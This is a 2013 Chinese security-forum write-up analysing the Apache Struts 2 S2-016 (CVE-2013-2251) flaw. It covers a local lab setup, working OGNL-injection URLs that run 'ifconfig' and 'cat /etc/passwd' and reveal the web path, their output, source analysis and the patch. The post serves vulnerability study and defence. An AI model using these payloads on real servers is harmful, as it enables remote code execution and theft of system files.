[原创]CVE-2013-2251 Apache Struts 2 高危漏洞重现构造及漏洞原理分析

发布者:仙果
发布于:2013-07-19 11:07
CVE-2013-2251 Apache Struts 2 高危漏洞重现构造及漏洞原理分析  
题记:总喜欢开头说些废话,2013年7月17日在安全圈绝对是一个值得纪念日子,由于Apache 直接公开了Struts2 0day漏洞的Poc,并没有留个各大厂商打补丁的时间,一时间各大网站纷纷中招,有图可证:


  影响范围太广太大,直到今天(2013年7月18日)微博上还是在讨论这件事情,各种风声鹤唳。如下链接可以查看各大微博关于Struts2漏洞的讨论:
  http://www.baidu.com/s?rtt=2&tn=baiduwb&rn=20&cl=2&wd=struts2
  晚上下班到家之后,kanxue大哥电话过来说想让我分析下这个漏洞,但是确实有些赶鸭子上架,不做Web方面已经很多年,连一些基本的网页都写不好,确实难了些,硬着头皮答应了下来,马上着手分析。
  既然要做原理级的分析,肯定不敢拿网络上的真实服务器来测试分析,咱还是怕OOXX部门来查水表,万一就Game Over!
  由于此类漏洞分析的少,而且对操作系统环境也不熟悉,所以此篇文章会尽可能的详细记录搭建测试环境和分析过程中遇到的种种问题,相信很多大牛会不屑,还请多多指正,仙果感激不尽!
一、漏洞简要描述
  Apache Struts框架是一个基于Java Servlets,JavaBeans, 和 JavaServer Pages (JSP)的Web应用框架的开源项目。        Apache Struts 2 DefaultActionMapper在处理短路径重定向参数前缀
  "action:"/"redirect:"/"redirectAction:"时存在命令执行漏洞,由于对
  "action:"/"redirect:"/"redirectAction:"后的URL信息使用OGNL表达式处理,远程攻击者可以利用漏洞提交特殊URL可用于执行任意Java代码。
  引用自:http://www.venustech.com.cn/NewsInfo/124/21871.Html
  Apache Struts2官方关于此漏洞的介绍链接:
  http://struts.apache.org/development/2.x/docs/s2-016.html
  The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with "action:" or "redirect:", followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.
从描述信息中我们可以得到以下信息:
Struts2的使用范围非常广
Struts2 DefaultActionMapper处理段路径重定向参数前缀不严谨导致的漏洞
利用漏洞可以执行任意Java代码
接下来就是构造测试环境来验证这个漏洞。
二、测试环境搭建
  网上公开的代码都是针对Linux系统的,因此我也随大流安装一个Linux系统,选择了最新版的ubuntu 13.04,下载地址是:
  http://cdimage.ubuntu.com/ubuntustudio/releases/13.04/release/ubuntustudio-13.04-dvd-i386.iso
  虚拟机安装又快又好,不得不赞叹下,而且还给安装了Vmtools省了不少劲。
1、安装Tomcat
  由于ubuntu 系统集成了JDK,也就省去了安装JDK的麻烦:
  admin001@ubuntu:/usr/local/development/tomcat7/bin$ java -version
  java version "1.7.0_21"
  OpenJDK Runtime Environment (IcedTea 2.3.9) (7u21-2.3.9-1ubuntu1)
  OpenJDK Client VM (build 23.7-b01, mixed mode, sharing)
  
  Sudo wget 
  http://apache.fayea.com/apache-mirror/tomcat/tomcat-7/v7.0.42/bin/apache-tomcat-7.0.42.tar.gz

  下载完成之后,解压之:
  sudo tar zxvf apache-tomcat-7.0.42.tar.gz

  重命名:
  Sudo mv apache-tomcat-7.0.42 tomcat7

  修改配置文件:
  Cd tomcat7
  Cd bin
  Sudo gedit catalina.sh (不会使用Vim,汗!!!)

  在如下代码之上
  cygwin=false
  darwin=false
  os400=false
  case "`uname`" in
  CYGWIN*) cygwin=true;;
  Darwin*) darwin=true;;
  OS400*) os400=true;;

  添加这部分代码:
  JAVA_HOME =/etc/java-7-openjdk
  JAVA_OPTS="-server -Xms512m -Xmx1024m -XX:PermSize=600M -XX:MaxPermSize=600m -Dcom.sun.management.jmxremote"

  如图所示:

  最后执行
  Sodu ./ startup.sh 

  Tomcat7安装成功,如图:

  安装过程基本上没有遇到什么大的难题,都是在网上现找的资料,现学现卖安装Tomcat成功,其中一直找不到openJDK的路径,请教同事以后通过以下命令找到:
Sudo find / -name *openjdk*

2、配置Struts2
  本着分析的目的,下载了已经修补了此漏洞的版本和之前的一个版本,分别是
  http://mirror.bit.edu.cn/apache//struts/binaries/struts-2.3.15.1-all.zip(最新版
  http://mirror.bit.edu.cn/apache//struts/binaries/struts-2.3.15-all.zip(有漏洞版本)
  测试环境使用版本是struts 2.3.15,使用struts2 安装配置 作为关键字进行搜索,都很简单,如:http://tech.ddvip.com/2009-07/1248354379126155.html  只介绍了几句话,让我无从下手。
  先解压下载回来的zip文件,.\struts-2.3.15\apps\struts2-blank.war存在这么一个文件,根据查找的资料是struts2的例子,拷贝到ubuntu虚拟机中进行解压拷贝。
  没有找到jar命令,只能直接解压到桌面然后移动到tomcat目录下。必须移动到
  /usr/local/development/tomcat7/webapps 

  目录下,否则会有404的错误,我在这个问题纠结了2个多小时,最后请教别的部门同事才发现移动到了
  /usr/local/development/tomcat7/webapps/ROOT

  目录下,始终不能够正常显示。
  通过网页访问:
  http://127.0.0.1:8080/struts2-blank/example/HelloWorld.action
  如下图说明Struts2 成功

三、漏洞测试
  测试环境搭建已经搭建成功,现在来测试漏洞是否存在。由于已经公开了POC,免去了再去构造POC的麻烦,可以直接拿来代码进行测试。
  先来查看IP地址:
  http://127.0.0.1:8080/struts2-blank/example/X.action?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27ifconfig%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}

  命令回显如下:
  eth0      Link encap:Ethernet  HWaddr 00:0c:29:58:66:9e  
            inet addr:192.168.199.138  Bcast:192.168.199.255  Mask:255.255.255.0
            inet6 addr: fe80::20c:29ff:fe58:669e/64 Scope:Link
            UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
            RX packets:40469 errors:0 dropped:0 overruns:0 frame:0
            TX packets:23308 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:1000 
            RX bytes:55069446 (55.0 MB)  TX bytes:1421989 (1.4 MB)
            Interrupt:19 Base address:0x2000 
  
  lo        Link encap:Local Loopback  
            inet addr:127.0.0.1  Mask:255.0.0.0
            inet6 addr: ::1/128 Scope:Host
            UP LOOPBACK RUNNING  MTU:65536  Metric:1
            RX packets:1638 errors:0 dropped:0 overruns:0 frame:0
            TX packets:1638 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:0 
            RX bytes:479063 (479.0 KB)  TX bytes:479063 (479.0 KB)

  再来看下密码:
  http://127.0.0.1:8080/struts2-blank/example/X.action?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27cat%27,%27/etc/passwd%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}

  回显:
  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/bin/sh
  bin:x:2:2:bin:/bin:/bin/sh
  sys:x3:sys:/dev:/bin/sh
  sync:x:4:65534:sync:/bin:/bin/sync
  games:x:5:60:games:/usr/games:/bin/sh
  man:x:6:12:man:/var/cache/man:/bin/sh
  lp:x:7:7:lp:/var/spool/lpd:/bin/sh
  mail:x:8:8:mail:/var/mail:/bin/sh
  news:x:9:9:news:/var/spool/news:/bin/sh
  uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
  proxy:x:13:13:proxy:/bin:/bin/sh
  www-data:x:33:33:www-data:/var/www:/bin/sh
  backup:x:34:34:backup:/var/backups:/bin/sh
  list:x:38:38:Mailing List Manager:/var/list:/bin/sh
  irc:x:39:39:ircd:/var/run/ircd:/bin/sh
  gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
  nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
  libuuid:x:100:101::/var/lib/libuuid:/bin/sh
  syslog:x:101:103::/home/syslog:/bin/false
  messagebus:x:102:105::/var/run/dbus:/bin/false
  avahi-autoipd:x:103:106:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
  usbmux:x:104:46:usbmux daemon,,,:/home/usbmux:/bin/false
  dnsmasq:x:105:65534:dnsmasq,,,:/var/lib/misc:/bin/false
  whoopsie:x:106:111::/nonexistent:/bin/false
  kernoops:x:107:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
  rtkit:x:108:114:RealtimeKit,,,:/proc:/bin/false
  speech-dispatcher:x:109:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
  avahi:x:110:116:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
  colord:x:111:118:colord colour management daemon,,,:/var/lib/colord:/bin/false
  pulse:x:112:119:PulseAudio daemon,,,:/var/run/pulse:/bin/false
  hplip:x:113:7:HPLIP system user,,,:/var/run/hplip:/bin/false
  gdm:x:114:121:Gnome Display Manager:/var/lib/gdm:/bin/false
  saned:x:115:123::/home/saned:/bin/false
  debian-spamd:x:116:124::/var/lib/spamassassin:/bin/sh
  admin001:x:1000:1000:test,,,:/home/admin001:/bin/bash

  爆路径:
http://127.0.0.1:8080/struts2-blank/example/X.action?redirect%3A%24{%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29}

  回显:
  /usr/local/development/tomcat7/webapps/struts2-blank/

  上述测试说明struts 2.3.15版本下漏洞是确实存在的。
四        、漏洞原理分析
  首先来解析下可利用URL中的有用信息
  http://127.0.0.1:8080/struts2-blank/example/X.action?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27ifconfig%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}

  URL解码后为:
http://127.0.0.1:8080/struts2-blank/example/X.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'ifconfig'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

  Ifconfig 命令很显然就是真正执行代码,相当于二进制漏洞的ShellCode,应该可以这么理解,不对之处还请指正。
  通过查找资料,若要验证漏洞是否存在,可以这么测试
http://localhost/struts2-blank/example/X.action?action:%25{3*4}

  原理是
  /usr/local/development/tomcat7/webapps/struts2-blank/WEB-INF/src/example.xml:
        
    <action name="*" class="example.ExampleSupport">
              <result>/example/{1}.jsp</result>
          </action>

  当*匹配到一串精心构造的OGNL语句时,会把它放到{1}中,形成OGNL二次执行。
结果如图:

  可以看到{3*4}作为代码(OGNL语句)执行,结果传递给了{1},构造了12.jsp。说明URL参数中X.action?redirect:${一大串恶意参数},恶意参数被作为代码执行,有些类似于远程代码执行,不过威力更大,不需要软件即可达到这个效果。
  现在来看什么是OGNL?也是查资料而来。
OGNL(Object Graph Navigation Language),是一种表达式语言。使用这种表达式语言,你可以通过某种表达式语法,存取Java对象树中的任意属性、调用Java对象树的方法、同时能够自动实现必要的类型转化。如果我们把表达式看做是一个带有语义的字符串,那么OGNL无疑成为了这个语义字符串与Java对象之间沟通的桥梁。
  URL中使用了多个”#”符号,解释如下:
#符号的用途一般有三种。
1    访问非根对象属性,例如#session.msg表达式,由于Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀。实际上,#相当于ActionContext. getContext();#session.msg表达式相当于ActionContext.getContext().getSession(). getAttribute("msg") 。
2    用于过滤和投影(projecting)集合,如persons.{?#this.age>25},persons.{?#this.name=='pla1'}.{age}[0]。
3    用来构造Map,例如示例中的#{'foo1':'bar1', 'foo2':'bar2'}。
  知道了X.action?redirect:${一大串恶意参数}中的恶意参数其实为OGNL表达式,通过OGNL表达式的二次执行来触发漏洞,达到利用的目的。
  其次分析漏洞描述信息,DefaultActionMapper在处理短路径重定向参数前缀
  "action:"/"redirect:"/"redirectAction:"时存在命令执行漏洞,从中可以知道,Struts2的DefaultActionMapper模块处理”action”时出现的漏洞,来看看
  DefaultActionMapper模块针对三种重定向参数的处理过程。
  在路径:
  .\struts-2.3.15\src\core\src\main\java\org\apache\struts2\dispatcher\mapper\DefaultActionMapper.java

  找到了DefaultActionMapper模块。
  定义重定向相关字符串变量:
  protected static final String METHOD_PREFIX = "method:";
      protected static final String ACTION_PREFIX = "action:";
      protected static final String REDIRECT_PREFIX = "redirect:";
      protected static final String REDIRECT_ACTION_PREFIX = "redirectAction:";
  就是重定向参数前缀。

  protected Pattern allowedActionNames = Pattern.compile("[a-zA-Z0-9._!/\\-]*");

  顾名思义定义允许的Action名字,这是一个关键点,下面会讲到。
再来看是如何处理的:
                put(ACTION_PREFIX, new ParameterAction() {	//action处理模块
                    public void execute(String key, ActionMapping mapping) {
                        String name = key.substring(ACTION_PREFIX.length());
                        if (allowDynamicMethodCalls) {
                            int bang = name.indexOf('!');
                            if (bang != -1) {
                                String method = name.substring(bang + 1);
                                mapping.setMethod(method);
                                name = name.substring(0, bang);
                            }
                        }
                        mapping.setName(name);
                    }
                });

                put(REDIRECT_PREFIX, new ParameterAction() {	//redirect处理模块
                    public void execute(String key, ActionMapping mapping) {
                        ServletRedirectResult redirect = new ServletRedirectResult();
                        container.inject(redirect);
                        redirect.setLocation(key.substring(REDIRECT_PREFIX
                                .length()));
                        mapping.setResult(redirect);
                    }
                });

                put(REDIRECT_ACTION_PREFIX, new ParameterAction() {
  	//redirectAction处理模块
                    public void execute(String key, ActionMapping mapping) {
                        String location = key.substring(REDIRECT_ACTION_PREFIX
                                .length());
                        ServletRedirectResult redirect = new ServletRedirectResult();
                        container.inject(redirect);
                        String extension = getDefaultExtension();
                        if (extension != null && extension.length() > 0) {
                            location += "." + extension;
                        }
                        redirect.setLocation(location);
                        mapping.setResult(redirect);
                    }
                });

分析一下处理流程:
1.String name 根据 action的长度取得名字
2.判断是否为动态执行方法,为True则继续执行
3.判断名字中是否有”!”,若有继续处理,没有则直接对mapping进行操作,对应代码为:
mapping.setName(name);
  针对"redirect:"和"redirectAction:"的处理过程大同小异。
  有句话是这么说的,用户的任何输入都是恶意的,意思就是说需要对用户的一切输入都要进行检查然后才能进入到程序的执行当中,否则就会出现漏洞。观察上述代码可以发现,程序除了检查”name”中有没有存在”!”之外并没有其他任何检查,直接调用mapping.setName()函数进行赋值,导致了漏洞的产生。
  继续分析代码可以发现:
/**
     * Cleans up action name from suspicious characters
     *
     * @param rawActionName action name extracted from URI
     * @return safe action name
     */
    protected String cleanupActionName(final String rawActionName) {//字符串过滤函数
        if (allowedActionNames.matcher(rawActionName).matches()) {
            return rawActionName;
        } else {
            if (LOG.isWarnEnabled()) {
                LOG.warn("Action [#0] does not match allowed action names pattern [#1], cleaning it up!",
                        rawActionName, allowedActionNames);
            }
            String cleanActionName = rawActionName;
            for(String chunk : allowedActionNames.split(rawActionName)) {
                cleanActionName = cleanActionName.replace(chunk, "");
            }
            if (LOG.isDebugEnabled()) {
                LOG.debug("Cleaned action name [#0]", cleanActionName);
            }
            return cleanActionName;
        }
  }

  cleanupActionName()函数的作用就是过滤rawActionName中的可疑字符(类似XSS检测过滤),并且调用了之前定义的allowedActionNames,rawActionName只能在
  "[a-zA-Z0-9._!/\\-]*"中选择。但是虽然定义了过滤函数,但是代码中确没有引用到过滤函数,程序员的疏忽导致的。
五、补丁分析
  已经修补了此漏洞的版本是struts-2.3.15.1,也是最新版本,定位到:
.\struts-2.3.15.1\src\core\src\main\java\org\apache\struts2\dispatcher\mapper\DefaultActionMapper.java代码中为

      protected static final String METHOD_PREFIX = "method:";
      protected static final String ACTION_PREFIX = "action:";

  只定义了"action:";,删除了"redirect:";和"redirect:"的定义和处理函数。
  Action的处理代码:
                put(ACTION_PREFIX, new ParameterAction() {
                    public void execute(String key, ActionMapping mapping) {
                        String name = key.substring(ACTION_PREFIX.length());
                        if (allowDynamicMethodCalls) {
                            int bang = name.indexOf('!');
                            if (bang != -1) {
                                String method = name.substring(bang + 1);
                                mapping.setMethod(method);
                                name = name.substring(0, bang);
                            }
                        }
                        mapping.setName(cleanupActionName(name));
                    }
                });

  可以明显的看到在调用mapping.setName()函数是引用了cleanupActionName()函数对name进行过滤操作。
六、总结
  至此CVE-2012-2251漏洞从构造测试环境到分析漏洞成因结束了,来概括下一下漏洞触发的根本原因,程序员在编写重定向短路径参数时没有对参数的内容进行正确的过滤,一些OGNL的特殊字符没有得到过滤导致可以构造出特殊的OGNL表达式来执行任意代码。
  分析是分析完成了,但是纵观整篇分析还是有很多不足之处,在漏洞触发原理上清楚了,但是代码在动态执行的过程并没有分析明白,还没有掌握java代码的调试技巧,革命尚未成功,同志仍需努力。
附注:引用资料
Struts2深入学习:OGNL表达式原理
http://developer.51cto.com/art/201203/322509.htm
Java程序员从笨鸟到菜鸟之(四十八)细谈struts2(十)ognl概念和原理详解
http://blog.csdn.net/csh624366188/article/details/7550606
struts2 OGNL的用法介绍
http://blog.csdn.net/songylwq/article/details/7568859
Struts2中的OGNL详解
http://www.cnblogs.com/xly1208/archive/2011/11/19/2255500.html
OGNL表达式struts2标签“%,#,$”
http://www.blogjava.net/parable-myth/archive/2010/10/28/336353.html
关于struts 2为什么会有代码执行漏洞的小帖子
http://blog.csdn.net/wangyi_lin/article/details/9273903
struts 最新漏洞执行代码。
http://www.itkuo.cn/blog/776.html#2367742-tsina-1-79379-ad5670703bfac221da8f7c0184712c13
Apache Struts 2 Documentation
S2-016
http://struts.apache.org/development/2.x/docs/s2-016.html
上传的附件:

声明:该文观点仅代表作者本人,转载请注明来自看雪